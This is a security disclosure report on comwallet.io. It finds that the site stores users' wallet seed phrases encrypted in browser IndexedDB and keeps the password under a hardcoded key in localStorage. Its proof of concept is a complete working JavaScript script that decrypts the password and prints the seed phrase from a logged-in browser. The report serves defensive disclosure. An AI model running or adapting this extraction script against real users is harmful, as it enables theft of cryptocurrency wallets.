# Security Analysis of comwallet.io Implementation ## Overview This report details the security implications of the wallet implementation used by comwallet.io. Our analysis reveals significant deviations from standard security practices in cryptocurrency wallet management, potentially exposing users to unnecessary risks. ## Key Findings 1. **In-App Seed Storage:** Unlike standard practices that rely on secure browser extensions, comwallet.io stores the wallet's seed phrase within the application's own data storage. 2. **Increased Attack Surface**: Storing the seed phrase within the web application's data storage significantly increases the potential attack surface, making it more vulnerable to various types of attacks compared to industry-standard practices. 3. **Potential for Unauthorized Access:** The application owners or anyone with access to the codebase could potentially modify the application to extract users' seed phrases. ## Detailed Analysis ### Seed Storage Location The wallet's seed phrase is stored in the browser's IndexedDB, specifically in a database named "communeWallet". This can be seen in the following screenshot: ![image](https://hackmd.io/_uploads/HyUyrv7LA.png) ### Encryption Method The seed phrase is encrypted using AES encryption with a user-provided password. While encryption adds a layer of security, storing the seed phrase within the application's data storage is inherently risky. ### Extraction Process We were able to extract the seed phrase using the following process: 1. Decrypt the user's password from localStorage. 2. Access the IndexedDB database "communeWallet". 3. Retrieve the encrypted wallet data from the "wallets" object store. 4. Decrypt the wallet data using the user's password. 5. Extract the seed phrase from the decrypted wallet data. Here's a screenshot showing the successful extraction of the seed phrase: ![image](https://hackmd.io/_uploads/Hk6kOwmUA.png) ## Implications 1. **Decreased Application Security:** If comwallet.io's security is compromised, all users' seed phrases could potentially be exposed. 2. **Trust Requirement:** Users must implicitly trust the comwallet.io developers not to access or misuse their seed phrases. 3. **Increased Attack Surface:** Storing sensitive data within the application increases the potential attack surface for malicious actors. ## Recommendations Given the security risks associated with comwallet.io's current implementation, we strongly recommend users to switch to alternative wallet app solutions, like [wallet.communeai.org](https://wallet.communeai.org/) that properly integrate with secure Substrate wallet browser extensions like Polkadot{.js} Extension or SubWallet. By using these alternatives, users can significantly reduce the risk of their seed phrases being compromised through application-level vulnerabilities. ## Proof of Concept The following script demonstrates how the seed phrase can be extracted from comwallet.io's data storage: ```javascript function loadDeps() { return new Promise((resolve, reject) => { // Check if CryptoJS is already loaded if (typeof CryptoJS !== 'undefined') { // console.log('CryptoJS is already loaded'); resolve(CryptoJS); return; } // Check if the script is already being loaded let existingScript = document.querySelector('script[src*="crypto-js"]'); if (existingScript) { console.log('CryptoJS is already being loaded'); existingScript.addEventListener('load', () => resolve(CryptoJS)); existingScript.addEventListener('error', reject); return; } // If not loaded and not being loaded, proceed with loading let script = document.createElement('script'); script.src = 'https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js'; script.onload = () => { resolve(CryptoJS); }; script.onerror = () => { reject(new Error('Failed to load CryptoJS')); }; document.head.appendChild(script); }); } await loadDeps(); const defaultKey = "IIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQE"; function formatDecryptedText(text) { return text && text.startsWith('"') && text.endsWith('"') ? text.slice(1, -1) : text; } function decrypt(encryptedData, key) { if (encryptedData) { try { let decrypted = CryptoJS.AES.decrypt(encryptedData, key || defaultKey); let utf8 = decrypted.toString(CryptoJS.enc.Utf8); return formatDecryptedText(utf8); } catch (error) { console.error("Decryption failed:", error); return null; } } return null; } // Decrypt the password first let encrypted_secret = localStorage.getItem("COMMUNE_AI_WALLET_PASSWORD_SECRET"); console.log("COMMUNE_AI_WALLET_PASSWORD_SECRET:", encrypted_secret); let decrypted_password = decrypt(encrypted_secret); console.log("Decrypted password:", decrypted_password); // Now, let's try to get and decrypt the wallet data async function decryptWallet() { let db = await new Promise((resolve, reject) => { let request = indexedDB.open("communeWallet"); request.onerror = (event) => { console.error("Database error:", event.target.error); reject(event.target.error); }; request.onsuccess = (event) => resolve(event.target.result); }); if (!db.objectStoreNames.contains('wallets')) { console.error("'wallets' object store not found. Available stores:", Array.from(db.objectStoreNames)); return; } let transaction = db.transaction(["wallets"], "readonly"); let objectStore = transaction.objectStore("wallets"); let request = objectStore.getAll(); request.onerror = (event) => { console.error("Error fetching wallet data:", event.target.error); }; request.onsuccess = (event) => { let wallets = event.target.result; if (wallets && wallets.length > 0) { let wallet = wallets[0]; console.log("Encrypted wallet data:", wallet); let decrypted_wallet = decrypt(wallet.account, decrypted_password); console.log("Decrypted wallet data:", decrypted_wallet); try { let parsed_wallet = JSON.parse(decrypted_wallet); if (parsed_wallet.seedPhrase) { console.log("Seed phrase found:", decrypt(parsed_wallet.seedPhrase, decrypted_password)); } else { console.log("Seed phrase not found"); } } catch (error) { console.error("Error parsing decrypted wallet data:", error); } } else { console.log("No wallet data found in IndexedDB"); } }; } decryptWallet().catch(console.error); ``` This script, when run in the browser console of a logged-in user on comwallet.io, will output the user's seed phrase, demonstrating how, if the application were to be compromised, an attacker could potentially extract a user's seed phrase. It's important to note that this script itself is not an attack, but rather a proof-of-concept illustrating the risks associated with storing seed phrases within the web application's data storage. In a real-world scenario, this kind of extraction would only be possible if the attacker had already gained unauthorized access to the application. ## Conclusion The current wallet implementation by comwallet.io significantly deviates from best practices in cryptocurrency wallet security. By storing seed phrases within the application's data storage, it exposes users to unnecessary risks. We strongly recommend users to transition to more secure alternatives that integrate with browser extensions like Polkadot{.js} or SubWallet to ensure the safety of their digital assets. ## Annex Creating wallet with `1234` password: ![image](https://hackmd.io/_uploads/SJcxEwmUC.png) Generated seed: ![image](https://hackmd.io/_uploads/rkDQ4vQ80.png) App Local Storage with encoded `1234` password: ![image](https://hackmd.io/_uploads/SJKdEvXU0.png) App's IndexedDB with encoded seed: ![image](https://hackmd.io/_uploads/HyUyrv7LA.png)